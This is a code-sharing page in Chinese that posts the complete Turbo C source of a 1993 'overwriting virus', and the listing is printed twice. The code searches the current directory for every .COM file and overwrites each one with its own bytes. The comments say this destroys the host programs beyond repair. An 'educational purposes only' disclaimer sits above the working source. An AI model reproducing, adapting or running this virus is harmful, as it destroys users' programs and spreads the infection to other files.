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The BAT&COM Virus in C
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作者: crhrysc, 点击322次, 评论(0), 收藏者(0)
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Overwriting Virus
语言: C, 标签: 无 2008/08/06发布 5个月前更新作者: crhrysc, 点击322次, 评论(0), 收藏者(0)
C语言: Overwriting Virus
01 - - ------------------ Cut Here -------------------------- - -
02 /* This is a simple overwriting virus programmed in Turbo C */
03 /* It will infect all .COM files in the current directory */
04 /* Infections destroy the programs and cannot be cured */
05 /* It was presented in Virology 101 (c) 1993 Black Wolf */
06 /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
07
08 #include <stdio.h>
09 #include <dos.h>
10 #include <dir.h>
11
12 FILE *Virus,*Host;
13 int x,y,done;
14 char buff[256];
15 struct ffblk ffblk;
16
17 main()
18 {
19 done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
20 while (!done) /* Loop for all COM's in DIR*/
21 {
22 printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
23 Virus=fopen(_argv[0],"rb"); /* Open infected file */
24 Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
25
26 x=9504; /* Virus size - must */
27 /* be correct for the */
28 /* compiler it is made */
29 /* on, otherwise the */
30 /* entire virus may not*/
31 /* be copied!! */
32 while (x>256) /* OVERWRITE new Host */
33 { /* Read/Write 256 byte */
34 fread(buff,256,1,Virus); /* chunks until bytes */
35 fwrite(buff,256,1,Host); /* left < 256 */
36 x-=256;
37 }
38 fread(buff,x,1,Virus); /* Finish off copy */
39 fwrite(buff,x,1,Host);
40 fcloseall(); /* Close both files and*/
41 done = findnext(&ffblk); /* go for another one. */
42 }
43 /* Activation would go */
44 /* here */
45 return (0); /* Terminate */
46 }
47 - - ------------------ Cut Here --------------------------- - -
02 /* This is a simple overwriting virus programmed in Turbo C */
03 /* It will infect all .COM files in the current directory */
04 /* Infections destroy the programs and cannot be cured */
05 /* It was presented in Virology 101 (c) 1993 Black Wolf */
06 /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
07
08 #include <stdio.h>
09 #include <dos.h>
10 #include <dir.h>
11
12 FILE *Virus,*Host;
13 int x,y,done;
14 char buff[256];
15 struct ffblk ffblk;
16
17 main()
18 {
19 done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
20 while (!done) /* Loop for all COM's in DIR*/
21 {
22 printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
23 Virus=fopen(_argv[0],"rb"); /* Open infected file */
24 Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
25
26 x=9504; /* Virus size - must */
27 /* be correct for the */
28 /* compiler it is made */
29 /* on, otherwise the */
30 /* entire virus may not*/
31 /* be copied!! */
32 while (x>256) /* OVERWRITE new Host */
33 { /* Read/Write 256 byte */
34 fread(buff,256,1,Virus); /* chunks until bytes */
35 fwrite(buff,256,1,Host); /* left < 256 */
36 x-=256;
37 }
38 fread(buff,x,1,Virus); /* Finish off copy */
39 fwrite(buff,x,1,Host);
40 fcloseall(); /* Close both files and*/
41 done = findnext(&ffblk); /* go for another one. */
42 }
43 /* Activation would go */
44 /* here */
45 return (0); /* Terminate */
46 }
47 - - ------------------ Cut Here --------------------------- - -
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